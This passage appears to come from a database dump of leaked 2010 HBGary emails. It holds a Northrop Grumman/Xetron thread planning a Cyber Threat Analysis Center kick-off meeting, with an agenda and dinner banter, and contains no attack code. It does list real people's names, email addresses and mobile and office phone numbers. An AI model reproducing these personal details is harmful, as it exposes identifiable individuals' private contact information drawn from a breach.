<Kevin.Gibbs@ngc.com>','RE: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\nAnd another thing&#8230;\r\n\r\nLet&#8217;s plan on grabbing dinner tomorrow night.&nbsp; I &#8220;think&#8221;&nbsp; can buy????\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',5787,'aaron_hbgary_com/5787.html'),(2783,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001281.M193058P3547Q2783.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure what you mean.&nbsp; You&#8217;ll be here tomorrow.&nbsp; For dinner,\r\nfigured we would decide that tomorrow afternoon.&nbsp; Since I am buying, better be\r\nREAL cheap.&nbsp; J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhen and where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp;\r\nIRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.&nbsp; We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.&nbsp; We should have Palantir\r\nand HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8397,'aaron_hbgary_com/8397.html'),(2784,'2010-02-17','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','/aaron@hbgary.com/new/1297001281.M552316P3547Q2784.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,aaron@hbgary.com,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>','Re: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\nI\'m in, whether you buy or not.  ;)Kurt HakensonChief TechnologistElectronic Systems SectorNorthrop Grumman Corp. 410-993-6499&quot;It is not necessary to change.  Survival is not mandatory.&quot; ~W. Edwards Deming\r\n\r\n\r\nFrom: Masterson, Brian (Xetron)To: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Carrier, Jeremy M. (Xetron)Cc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)Sent: Wed Feb 17 15:34:20 2010Subject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAnd another thing&#8230;\r\n\r\nLet&#8217;s plan on grabbing dinner tomorrow night.&nbsp; I &#8220;think&#8221;&nbsp; can buy????\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\nAgenda for CTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT Solutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\n\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting to map out the initial plan for the Cyber Threat Analysis Center&nbsp; IRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had Palantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and should have some EndGame data.&nbsp; We need to throw all this up on the board and see what we can put together near-term and going out.\r\n\r\nPlease bring all materials that you accumulated this week from your trips.&nbsp; We should have Palantir and HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I&#8217;ll get food.\r\n\r\nThis is going to be exciting!\r\n\r\nBrian\r\n\r\n\r\n',852,'aaron_hbgary_com/852.html'),(2785,'2010-02-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001281.M797657P3547Q2785.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Cyber Threat Analysis Center','Lol I thought u wanted to grab a beer tonight.  Either way.From my iPhoneOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNot sure what you mean.  You’ll be here tomorrow.  For dinner,\r\nfigured we would decide that tomorrow afternoon.  Since I am buying, better be\r\nREAL cheap.  J\r\n\r\n \r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhen and where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n        Lunch\r\n\r\n        IG Demo\r\n\r\n        HBGary Tool Overview\r\n\r\n        Palantir Overview\r\n\r\n        EndGame data review\r\n\r\n        IRAD Development Plan\r\n\r\n        Go To Market Plan\r\n\r\n       \r\n        BAAs\r\n\r\n       \r\n        Customer visits/demos\r\n\r\n        Presentation Prep\r\n\r\n        DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; &#39;Aaron Barr&#39;; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off\r\nmeeting to map out the initial plan for the Cyber Threat Analysis Center \r\nIRAD.  Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.  We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.  We should have Palantir\r\nand HBGary tools accessible.  There should be an IG demo.  I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3090,'aaron_hbgary_com/3090.html'),(2786,'2010-02-17','\"Schuman, Kyle D.\" <Kyle.Schuman@ngc.com>','/aaron@hbgary.com/new/1297001282.M22227P3547Q2786.eml','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Henderson, Michael L. (Xetron)\" <Michael.Henderson@ngc.com>,\"Gibbs, Kevin (Xetron)\" <Kevin.Gibbs@ngc.com>,\"Neal, Wyatt R. (Xetron)\" <Wyatt.Neal@ngc.com>,\"Churchey, Christopher R. (Xetron)\" <Christopher.Churchey@ngc.com>,\"Werbin, Geoffrey (Xetron)\" <Geoffrey.Werbin@ngc.com>,\"Elchison, Jonathan (Xetron)\" <Jonathan.Elchison@ngc.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,aaron@hbgary.com,\"Carrier, Jeremy M. (Xetron)\" <Jeremy.Carrier@ngc.com>,\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','RE: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRE: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf Brian’s buying, I’ll be there!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKyle Schuman\r\n\r\nNorthrop Grumman Electronic Systems\r\n\r\n(410) 271-8979 mobile\r\n\r\n(410) 765-3039 office\r\n\r\nkyle.schuman@ngc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hakenson, Kurt E\r\n(IT Solutions) \r\nSent: Wednesday, February 17, 2010 4:37 PM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; \'aaron@hbgary.com\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI\'m in, whether you buy or not. ;)\r\n\r\n\r\n\r\nKurt Hakenson \r\nChief Technologist \r\nElectronic Systems Sector \r\nNorthrop Grumman Corp. \r\n410-993-6499 \r\n\r\n&quot;It is not necessary to change. Survival is not mandatory.&quot; ~W.\r\nEdwards Deming \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian (Xetron) \r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;; Carrier, Jeremy\r\nM. (Xetron) \r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions) \r\nSent: Wed Feb 17 15:34:20 2010\r\nSubject: RE: Cyber Threat Analysis Center \r\n\r\n\r\n\r\nAnd another\r\nthing…\r\n\r\nLet’s plan on\r\ngrabbing dinner tomorrow night.&nbsp; I “think”&nbsp; can buy????\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Wednesday, February 17, 2010 4:32 PM\r\nTo: Henderson, Michael L. (Xetron); Gibbs, Kevin (Xetron); Neal, Wyatt\r\nR. (Xetron); Churchey, Christopher R. (Xetron); Werbin, Geoffrey (Xetron);\r\nElchison, Jonathan (Xetron); Akey, Mark L.; Dunkelberger, Kirk A.; \'Aaron\r\nBarr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: RE: Cyber Threat Analysis Center\r\n\r\nAgenda for\r\nCTAC Meeting 12-5 2/17\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lunch\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IG Demo\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Tool Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Palantir Overview\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EndGame data review\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IRAD Development Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go To Market Plan\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BAAs\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Customer visits/demos\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Presentation Prep\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DARPA Cyber Genome Planning\r\n\r\nComments?\r\n\r\nBrian\r\nMasterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n-----Original\r\nAppointment-----\r\nFrom: Masterson, Brian (Xetron)\r\nSent: Sunday, February 14, 2010 8:14 AM\r\nTo: Masterson, Brian (Xetron); Henderson, Michael L. (Xetron); Gibbs,\r\nKevin (Xetron); Neal, Wyatt R. (Xetron); Churchey, Christopher R. (Xetron);\r\nWerbin, Geoffrey (Xetron); Elchison, Jonathan (Xetron); Akey, Mark L.;\r\nDunkelberger, Kirk A.; \'Aaron Barr\'; Carrier, Jeremy M. (Xetron)\r\nCc: Schuman, Kyle D.; Thompson, Bill (Xetron); Hakenson, Kurt E (IT\r\nSolutions)\r\nSubject: Cyber Threat Analysis Center\r\nWhen: Thursday, February 18, 2010 12:00 PM-5:00 PM (GMT-05:00) Eastern\r\nTime (US &amp; Canada).\r\nWhere: Conf-OH9 Lobby 1 (Large)\r\n\r\nAll,\r\n\r\nThis is the kick-off meeting\r\nto map out the initial plan for the Cyber Threat Analysis Center&nbsp;\r\nIRAD.&nbsp; Our near term objective is a demo in March at 10Flt.\r\n\r\nWe will have had\r\nPalantir(Wyatt/Chris) training this week, Palantir/HBGary(Aaron/Kevin) and\r\nshould have some EndGame data.&nbsp; We need to throw all this up on the board\r\nand see what we can put together near-term and going out.\r\n\r\nPlease bring all materials\r\nthat you accumulated this week from your trips.&nbsp; We should have Palantir\r\nand HBGary tools accessible.&nbsp; There should be an IG demo.&nbsp; I’ll get\r\nfood.\r\n\r\nThis is going to be\r\nexciting!\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2145,'aaron_hbgary_com/2145.html'),(2787,'2010-02-17','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001282.M318805P3547Q2787.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Threat Analysis Center','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry.&nbsp; Had just sent the email about dinner tomorrow night and you&#8217;re\r\nreply came 2 seconds later.&nbsp; Where are you staying?&nbsp; If near here, Bargos is\r\njust about across the street has cheap beer.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:38 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLol I thought u wanted to grab a beer tonight. &nbsp;Either\r\nway.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:36 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure what you mean.&nbsp; You&#8217;ll be here tomorrow.&nbsp; For dinner, figured we\r\nwould decide that tomorrow afternoon.&nbsp; Since I am buying, better be REAL\r\ncheap.&nbsp; J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 17, 2010 4:34 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Cyber Threat Analysis Center\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhen\r\nand where to meet?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 17, 2010, at 4:32 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAgenda 